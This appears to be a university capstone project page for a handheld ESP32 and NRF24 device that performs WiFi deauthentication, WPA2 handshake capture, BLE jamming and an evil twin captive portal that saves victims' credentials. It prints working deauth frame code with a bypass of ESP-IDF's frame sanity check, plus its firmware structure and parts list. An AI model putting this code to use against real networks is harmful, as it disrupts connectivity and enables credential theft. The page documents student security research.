Capstone Project — SCSIT — UACS

Multi-Protocol 2.4 GHz Wireless Analysis Device

Custom ESP32 + 3× NRF24L01+ embedded device for WiFi deauthentication, WPA2 handshake capture, BLE jamming, evil twin attacks, and 2.4 GHz spectrum monitoring — on a single PCB.

Student: Andrej Vuchkovikj|AVuchkovikj5837
Supervisor: Prof. Dr. Vladimir Radevski
Asst. Prof. Dr. Marija Stankova Medarovska
MCU
ESP32-WROOM-32U
Radios
3× NRF24L01+
Band
2.4 GHz ISM
Interface
OLED + 5-Button
Storage
MicroSD (.pcap)

Core Capabilities

Attack Vectors & Analysis

Five independent modules built from scratch -- WiFi, BLE, and RF spectrum on a single handheld device.

WiFi Reconnaissance

802.11 deauthentication frame injection, promiscuous packet capture, EAPOL handshake extraction, and evil twin with captive portal.

Deauth + CaptureEvil Twin AP.pcap to SD

Spectrum Analysis

126-channel NRF24 sweep via raw SPI register access. RPD-based signal detection with 25 samples per channel, real-time OLED waterfall.

126 ChannelsRPD DetectionReal-time OLED

BLE / BT Jamming

Three NRF24 radios in continuous carrier TX targeting BLE advertising channels 37/38/39 or full Bluetooth 81-channel random hopping.

3x Radio TXBLE Ch 37/38/3981-ch Hopping

Implementation Deep Dive

Real Firmware Code

01
WiFi Deauthentication + Handshake Capture

Constructs raw 802.11 deauth frames and injects them via esp_wifi_80211_tx(). Simultaneously, a promiscuous sniffer captures all traffic and writes packets to SD as .pcap. The sanity check bypass allows transmission of management frames that the ESP-IDF normally blocks.

wifi.cpp
// Override ESP-IDF frame sanity check to allow deauth TX
extern "C" int ieee80211_raw_frame_sanity_check(
    int32_t arg, int32_t arg2, int32_t arg3) {
    return 0;
}

uint8_t frameArray[26] = {
    0xC0, 0x00,                         // Type: Deauth
    0x00, 0x00,                         // Duration
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Receiver (broadcast)
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source (AP BSSID)
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID
    0x00, 0x00,                         // Seq number
    0x07, 0x00                          // Reason: Class 3
};

void continuous_deauth() {
    if (millis() - lastPacketSent >= 100) {
        esp_err_t result = esp_wifi_80211_tx(
            WIFI_IF_AP, frameArray, 26, true);
        lastPacketSent = millis();
        frameCounter++;
    }
}
02
Promiscuous Sniffer + PCAP Storage
03
NRF24 Spectrum Analyzer
04
BLE / Bluetooth Jamming
05
Evil Twin Attack
Limitation -- WPA3 with 802.11w (Protected Management Frames) rejects forged deauth packets. Evil twin detection possible via certificate pinning.

Interactive Hardware

PCB Component Explorer

Front -- use the arrows to navigate the OLED menu

nRFBox v3
> Scanner
Analyzer
Evil Twin
BLE Jammer
WiFi Deauth
nRFBox v3
ESP32-WROOM
32U
NRF24L01+
NRF24L01+
NRF24L01+
U2
IC1
U3
U8
SW1
nRFBox v3

System Design

Hardware Architecture

ESP32 as central controller. Three NRF24L01+ on shared SPI bus with individual chip-selects. I2C OLED, SPI MicroSD, five GPIO buttons. All NRF CS pins held HIGH during SD access to prevent bus contention.

SPI (CSN=2)SPI (CSN=4)SPI (CSN=17)I2C (0x3C)SPI (CS=5)UART3.3VGPIO
ESP32-WROOM-32U
Dual-core @ 240 MHz
NRF24 #1 (U5)
Spectrum Analyzer
NRF24 #2 (U6)
2.4 GHz Jammer
NRF24 #3 (U7)
BLE Jammer
SSD1306 OLED
128x64 I2C
MicroSD
.pcap + .csv
USB-C + CP2102
UART @ 921600
TP4056 + LF33
Li-Ion to 3.3 V
5x Navigation
GPIO 25/27/26/32/33

Software Design

Firmware Architecture

PlatformIO + Arduino-ESP32. Each feature in its own compilation unit. Central state machine orchestrates all screen transitions and input routing.

src/
src/
├── main.cpp             // setup() + loop() orchestrator
├── config.h             // GPIO pins, I2C, SPI, debounce
├── menu.cpp / menu.h    // Screen enum + input dispatch
├── buttons.cpp          // Debounced GPIO polling (300ms)
├── display.cpp          // SSD1306 OLED I2C wrapper
├── wifi_scanner.cpp     // Async WiFi scan + OLED render
├── wifi_deauth.cpp      // 802.11 deauth + pcap capture
├── evil_twin.cpp        // Rogue AP + captive portal
├── ble_jammer.cpp       // BLE/BT continuous carrier TX
├── scanner.cpp          // NRF24 126-ch spectrum sweep
├── nrf.cpp              // RF24 init, shared SPI config
├── sd_card.cpp          // PCAP/CSV file I/O
├── sd_browser.cpp       // SD card file browser UI
└── led.cpp              // WS2812B NeoPixel control
menu.cpp -- State Machine
Screen currentScreen = SCREEN_MAIN_MENU;
const char* menuItems[] = {
    "Scanner", "Analyzer", "Evil Twin",
    "BLE Jammer", "WIFI Deauth",
    "WIFI Scanner", "Settings"
};

void menu_handle_input(int button) {
    switch (currentScreen) {
    case SCREEN_MAIN_MENU:
        if (button == BT_SELECT) {
            currentScreen = static_cast<Screen>(
                selectedIndex + 1);
            if (currentScreen == SCREEN_WIFI_SCANNER)
                start_scan();
            if (currentScreen == SCREEN_SCANNER) {
                scanner_init();
                refresh_scan();
            }
        }
        break;

    case SCREEN_WIFI_DEAUTH:
        switch (deauthstate) { ... }
        break;

    case SCREEN_BLE_JAMMER:
        switch (bleState) { ... }
        break;

    case SCREEN_EVIL_TWIN:
        switch (twinState) { ... }
        break;
    }
}
main.cpp -- Loop
void loop() {
    int btn = buttons_read();
    if (btn != -1) {
        menu_handle_input(btn);
        menu_draw();
    }

    if (currentScreen == SCREEN_WIFI_DEAUTH
        && deauthstate == DEAUTH_ATTACKING) {
        continuous_deauth();
        PacketBuffer pktBuffer;
        while (xQueueReceive(packetQueue, &pktBuffer, 0))
            pcap_write_packet(pktBuffer.data,
                pktBuffer.length);
    }

    if (currentScreen == SCREEN_BLE_JAMMER
        && bleState == BLE_JAMMING)
        continuous_ble_jamming();

    if (currentScreen == SCREEN_SCANNER) {
        channel_scanning();
        scanner_draw();
    }

    if (currentScreen == SCREEN_EVIL_TWIN
        && twinState == TWIN_ATTACKING)
        evil_twin_loop();
}

Key Design Decisions

Modular compilation units
Each feature in its own .h/.cpp pair. Adding a feature = new Screen enum + new case in menu_handle_input().
Scan-on-entry, not scan-in-loop
WiFi scan triggers once on SELECT press. Results persist until screen exit. Prevents rescanning and WiFi reentrancy crashes.
FreeRTOS queue for packet capture
Sniffer callback runs in ISR context -- uses xQueueSendFromISR() to buffer packets. Main loop drains the queue and writes to SD.
Shared SPI bus arbitration
Three NRF24 + SD card share MOSI/MISO/SCK. All CS pins held HIGH during SD init. Scanner deinits WiFi/BT before direct SPI register access.
Polling with 300ms debounce
Buttons polled each loop() with millis()-based debounce. Simpler than ISRs, avoids WiFi/SPI interrupt conflicts.

Project Overview

By the Numbers

A complete embedded system -- custom PCB, hand-soldered components, original firmware, 3D-printed enclosure -- designed and built as a single-student capstone project.

5
Attack Vectors
3
Radio Modules
126
RF Channels
14
Source Files
47.8x87.5
PCB mm
<300
mA Peak Draw

Technology Stack

ESP-IDF / Arduino
Framework
PlatformIO
Build
KiCad 8
PCB Design
JLCPCB PCBA
Manufacturing
OpenSCAD
Enclosure
FreeRTOS
RTOS
RF24 Library
RF
SSD1306 I2C
Display
Wireshark
Analysis
FAT32 / SD
Storage

Academic Context -- Bachelor capstone thesis at the University American College Skopje, School of Computer Science & IT. Supervised by Prof. Dr. Vladimir Radevski and Asst. Prof. Dr. Marija Stankova Medarovska, with co-mentorship from Nikola Nikolov. All firmware, attack pipelines, and integration work are original contributions.

Hardware Cost Analysis

Bill of Materials

Complete per-unit cost breakdown. All components sourced from LCSC, AliExpress, and JLCPCB. Prices reflect single-unit quantities -- batch pricing significantly lower.

MCU
$3.50
ESP32-WROOM-32Ux1$3.50
RF Modules
$9.00
NRF24L01+PA+LNA (w/ SMA)x3$9.00
Power
$4.40
TP4056 Charger ICx1$0.50
LF33CDT 3.3V LDOx1$0.90
3.7V Li-Ion Batteryx1$3.00
Interface
$4.80
CP2102N USB-UARTx1$1.80
SSD1306 0.96" OLEDx1$2.50
USB-C Connectorx1$0.50
Connectors & Mech
$2.70
SMA Edge-mount 50ohmx3$1.50
MicroSD Push-push Socketx1$0.60
JST PH 2.0mmx1$0.20
SPDT Slide Switchx1$0.15
Tactile Buttons (6mm)x5$0.25
Passives & LEDs
$1.80
WS2812B NeoPixelx1$0.30
0805 LEDs (R/G)x2$0.10
S8050 NPN (SOT-23)x2$0.10
Resistors / Capsx1$0.80
10uF Tantalum (1206)x2$0.50
Manufacturing
$15.50
JLCPCB 2-layer PCB (x5)x1$5.00
JLCPCB SMD Assemblyx1$8.00
3D Printed Enclosurex1$2.50
Total Per-Unit Cost
Excluding shipping and tools
~$41.70

Common Questions

FAQ

Technical details and clarifications about the nRFBOX v3 project.

What makes this different from commercial wireless tools?
Is WPA3 vulnerable to deauthentication attacks?
Why three separate NRF24L01+ modules instead of one?
Can this capture WPA2 handshakes for offline cracking?
How does the evil twin captive portal work?
What is the effective range of the NRF24 jamming?
Is this legal to use?

Academic Merit

Original Contributions

Built upon cifertech's nRFBox v3 hardware design (MIT License, cited). All firmware, attack pipelines, server integration, and enclosure are original work.

Original
WiFi Deauth + Handshake Capture Pipeline
Full embedded pipeline: scan -> select -> deauth -> EAPOL capture -> .pcap -> SD. ieee80211_raw_frame_sanity_check bypass. FreeRTOS queue-based packet buffering.
Original
Evil Twin with Captive Portal
Rogue AP cloning target SSID. DNS hijacking + WebServer. HTML portals loaded from SD /portals/ directory. Simultaneous deauth of real AP. Credentials saved to CSV.
Original
Custom Firmware and Menu System
Enum-based state machine with nested sub-states (DEAUTH_IDLE -> SCAN -> DETAIL -> ATTACKING). 7 menu items, modular .cpp files. Written independently.
Original
NRF24L01+ Spectrum Analyzer
Raw SPI register access bypassing RF24 library. 64-channel sweep x 25 samples via RPD register. Deinits ESP32 WiFi/BT to prevent interference. Real-time OLED waterfall display.
Hardware
Custom PCB (JLCPCB) + Hand Assembly
JLCPCB PCBA for bottom-side SMD. Top-side components hand-soldered. Identified fleet-wide tantalum cap polarity defect across all manufactured boards.
Hardware
Parametric 3D-Printed Enclosure
OpenSCAD model with standoffs, SMA/USB-C/switch cutouts, button holes, OLED window. Iterative fit testing.
Base Project: cifertech/nRFBox v3 -- MIT License. Hardware design used with full attribution. All firmware written independently.